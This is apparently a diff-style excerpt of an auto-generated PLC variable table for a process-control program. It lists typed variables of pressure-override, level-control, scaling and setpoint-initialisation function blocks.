+290;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ENO;BOOL; +291;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT;UINT; +292;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT;INT; +293;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT;UINT; +294;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT;INT; +296;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8;SCALE_TO_SIGNED; +297;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.EN;BOOL; +298;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ENO;BOOL; +299;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT;INT; +301;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT;UINT; +302;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT;UINT; +303;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT;INT; +304;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9;SCALE_TO_SIGNED; +305;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.EN;BOOL; +306;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ENO;BOOL; +307;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT;UINT; +308;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT;INT; +309;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT;UINT; +310;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT;UINT; +311;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT;INT; +312;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +313;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +314;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +315;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +317;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +319;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +321;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +323;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +324;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +328;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +329;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +330;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +331;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +332;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +333;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +334;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +335;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +336;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +337;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +338;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +339;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; 